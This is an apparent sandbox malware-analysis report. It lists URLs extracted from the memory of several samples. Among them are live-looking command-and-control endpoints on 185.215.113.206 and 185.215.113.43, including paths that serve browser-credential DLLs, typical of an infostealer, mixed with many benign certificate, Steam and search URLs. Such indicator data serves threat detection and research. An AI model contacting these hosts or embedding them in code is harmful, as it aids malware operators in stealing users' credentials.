Source: file.exe, 00000000.00000002.2432002619.0000000000B67000.00000040.00000001.01000000.00000003.sdmp, 5912d4444a.exe, 00000019.00000002.2994508562.00000000008D8000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000002.2994508562.000000000089E000.00000004.00000020.00020000.00000000.sdmp, b84e35a556.exe, 0000001B.00000002.2865698823.0000000000B0E000.00000004.00000020.00020000.00000000.sdmp, b84e35a556.exe, 00000020.00000002.3038650924.000000000172B000.00000004.00000020.00020000.00000000.sdmp, b84e35a556.exe, 00000020.00000002.3038650924.000000000176A000.00000004.00000020.00020000.00000000.sdmp, b84e35a556.exe, 00000023.00000002.3273738251.000000000154B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 5912d4444a.exe, 00000019.00000002.2994508562.00000000008D8000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000002.2994508562.000000000089E000.00000004.00000020.00020000.00000000.sdmp, b84e35a556.exe, 0000001B.00000002.2865698823.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, b84e35a556.exe, 0000001B.00000002.2865698823.0000000000B2D000.00000004.00000020.00020000.00000000.sdmp, b84e35a556.exe, 00000020.00000002.3038650924.000000000177D000.00000004.00000020.00020000.00000000.sdmp, b84e35a556.exe, 00000020.00000002.3038650924.000000000172B000.00000004.00000020.00020000.00000000.sdmp, b84e35a556.exe, 00000020.00000002.3038650924.000000000176A000.00000004.00000020.00020000.00000000.sdmp, b84e35a556.exe, 00000023.00000002.3273738251.000000000154B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: b84e35a556.exe, 00000020.00000002.3038650924.000000000177D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/-.
Source: b84e35a556.exe, 00000023.00000002.3273738251.000000000159E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/3
Source: b84e35a556.exe, 00000020.00000002.3038650924.000000000177D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6.
Source: file.exe, 00000000.00000002.2422651725.00000000007A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2422651725.00000000007A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2422651725.00000000007A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dllx
Source: file.exe, 00000000.00000002.2422651725.00000000007A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2422651725.00000000007A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dllS
Source: file.exe, 00000000.00000002.2422651725.00000000007A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2422651725.00000000007A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllN
Source: file.exe, 00000000.00000002.2422651725.00000000007A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2422651725.00000000007A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dllB
Source: file.exe, 00000000.00000002.2422651725.00000000007A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2422651725.00000000007A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllJ
Source: file.exe, 00000000.00000002.2422651725.00000000007A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2422651725.00000000007A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll)
Source: 5912d4444a.exe, 00000019.00000002.2998979722.000000000554F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/C:
Source: 5912d4444a.exe, 00000019.00000002.2994508562.00000000008D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/Local
Source: b84e35a556.exe, 0000001B.00000002.2865698823.0000000000B53000.00000004.00000020.00020000.00000000.sdmp, b84e35a556.exe, 00000023.00000002.3273738251.000000000154B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/Microsoft
Source: 5912d4444a.exe, 00000019.00000002.2994508562.00000000008D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/Q
Source: b84e35a556.exe, 00000023.00000002.3273738251.000000000154B000.00000004.00000020.00020000.00000000.sdmp, b84e35a556.exe, 00000023.00000002.3273738251.000000000159E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/W
Source: b84e35a556.exe, 00000020.00000002.3038650924.000000000177D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ata
Source: b84e35a556.exe, 00000023.00000002.3273738251.000000000159E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: b84e35a556.exe, 00000023.00000002.3273738251.000000000159E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php(
Source: file.exe, 00000000.00000002.2458742707.00000000236D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php)S.
Source: 5912d4444a.exe, 00000019.00000002.2998979722.000000000554F000.00000004.00000800.00020000.00000000.sdmp, b84e35a556.exe, 00000020.00000002.3038650924.000000000177D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: b84e35a556.exe, 00000023.00000002.3273738251.000000000159E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/4
Source: b84e35a556.exe, 00000023.00000002.3273738251.000000000159E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/K
Source: b84e35a556.exe, 0000001B.00000002.2865698823.0000000000B68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/Vb
Source: 5912d4444a.exe, 00000019.00000002.2994508562.00000000008D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php3
Source: b84e35a556.exe, 00000020.00000002.3038650924.000000000172B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php4
Source: 5912d4444a.exe, 00000019.00000002.2994508562.0000000000937000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php=
Source: b84e35a556.exe, 00000023.00000002.3273738251.000000000159E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpI7
Source: b84e35a556.exe, 00000023.00000002.3273738251.000000000159E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpQ7
Source: file.exe, 00000000.00000002.2458742707.00000000236C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpSI
Source: b84e35a556.exe, 00000020.00000002.3038650924.000000000177D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpT.
Source: b84e35a556.exe, 0000001B.00000002.2865698823.0000000000B0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpV
Source: b84e35a556.exe, 00000023.00000002.3273738251.000000000159E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpa7
Source: file.exe, 00000000.00000002.2432002619.0000000000B67000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: b84e35a556.exe, 0000001B.00000002.2865698823.0000000000B53000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpg
Source: file.exe, 00000000.00000002.2422651725.00000000007C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpp
Source: b84e35a556.exe, 0000001B.00000002.2865698823.0000000000B68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpsb
Source: 5912d4444a.exe, 00000019.00000002.2994508562.0000000000937000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpu
Source: b84e35a556.exe, 00000020.00000002.3038650924.000000000172B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpx
Source: 5912d4444a.exe, 00000019.00000002.2994508562.0000000000937000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpy
Source: 5912d4444a.exe, 00000019.00000002.2994508562.000000000089E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/d
Source: b84e35a556.exe, 0000001B.00000002.2865698823.0000000000B68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/hb
Source: 5912d4444a.exe, 00000019.00000002.2994508562.00000000008D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/m
Source: b84e35a556.exe, 00000020.00000002.3038650924.000000000172B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/o
Source: b84e35a556.exe, 0000001B.00000002.2865698823.0000000000B68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: b84e35a556.exe, 00000023.00000002.3273738251.000000000159E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/y
Source: b84e35a556.exe, 00000020.00000002.3038650924.000000000172B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206k
Source: skotes.exe, 00000018.00000002.3297282430.000000000166B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 00000018.00000002.3297282430.0000000001699000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/%
Source: skotes.exe, 00000018.00000002.3297282430.000000000166B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Local
Source: skotes.exe, 00000018.00000002.3297282430.0000000001647000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000018.00000002.3297282430.0000000001699000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000018.00000002.3297282430.0000000001663000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000018.00000002.3297282430.0000000001699000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php/
Source: skotes.exe, 00000018.00000002.3297282430.0000000001699000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php0
Source: skotes.exe, 00000018.00000002.3297282430.000000000166B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php38c2817dba29a4b5b25dcf0emp
Source: skotes.exe, 00000018.00000002.3297282430.0000000001659000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php9001
Source: skotes.exe, 00000018.00000002.3297282430.000000000166B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpV
Source: skotes.exe, 00000018.00000002.3297282430.0000000001699000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpded
Source: skotes.exe, 00000018.00000002.3297282430.0000000001699000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpeq
Source: skotes.exe, 00000018.00000002.3297282430.000000000166B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phph
Source: skotes.exe, 00000018.00000002.3297282430.0000000001699000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded
Source: skotes.exe, 00000018.00000002.3297282430.000000000166B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpnu
Source: skotes.exe, 00000018.00000002.3297282430.000000000166B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php~
Source: skotes.exe, 00000018.00000002.3297282430.000000000166B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#3_
Source: skotes.exe, 00000018.00000002.3297282430.000000000166B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/ons
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: 5912d4444a.exe, 00000019.00000003.2844532076.0000000005592000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 5912d4444a.exe, 00000019.00000003.2844532076.0000000005592000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: 5912d4444a.exe, 00000019.00000003.2844532076.0000000005592000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: 5912d4444a.exe, 00000019.00000003.2844532076.0000000005592000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 5912d4444a.exe, 00000019.00000003.2844532076.0000000005592000.00000004.00000800.00020000.00000000.sdmp, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: 5912d4444a.exe, 00000019.00000003.2844532076.0000000005592000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: 5912d4444a.exe, 00000019.00000003.2844532076.0000000005592000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: 5912d4444a.exe, 00000019.00000003.2844532076.0000000005592000.00000004.00000800.00020000.00000000.sdmp, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: 5912d4444a.exe, 00000019.00000003.2844532076.0000000005592000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: 5912d4444a.exe, 00000019.00000003.2805655232.00000000008BD000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212763245.000000000120D000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: 5912d4444a.exe, 00000019.00000003.2805655232.00000000008BD000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212763245.000000000120D000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: 5912d4444a.exe, 00000019.00000003.2805655232.00000000008BD000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212763245.000000000120D000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2462977979.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2452681275.000000001D561000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: 5912d4444a.exe, 00000019.00000003.2844532076.0000000005592000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 5912d4444a.exe, 00000019.00000003.2844532076.0000000005592000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.2195884896.00000000007FA000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2816661923.000000000557C000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2949339937.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2949565383.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2949231707.00000000052CB000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3248389050.00000000059BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_487.3.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_487.3.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: Reporting and NEL.9.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingcsp
Source: 5912d4444a.exe, 00000019.00000003.2796563852.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: chromecache_487.3.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2458742707.00000000236C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2458742707.00000000236C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2796563852.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.9.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://c.msn.com/
Source: file.exe, 00000000.00000003.2195884896.00000000007FA000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2816661923.000000000557C000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2949339937.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2949565383.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2949231707.00000000052CB000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3248389050.00000000059BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2796563852.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/
Source: file.exe, 00000000.00000003.2280620657.000000002366D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195884896.00000000007FA000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2816661923.000000000557C000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2827345381.00000000055A6000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2827232763.00000000055AE000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2949339937.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2949565383.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2949231707.00000000052CB000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3248389050.00000000059BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2280620657.000000002366D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195884896.00000000007FA000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2816661923.000000000557C000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2827345381.00000000055A6000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2827232763.00000000055AE000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2949339937.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2949565383.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2949231707.00000000052CB000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3248389050.00000000059BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 5912d4444a.exe, 00000019.00000003.2796563852.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: manifest.json0.8.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json0.8.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: f4ffcbdd-5507-4113-9e39-def5cfecd09e.tmp.9.dr	String found in binary or memory: https://clients2.google.com
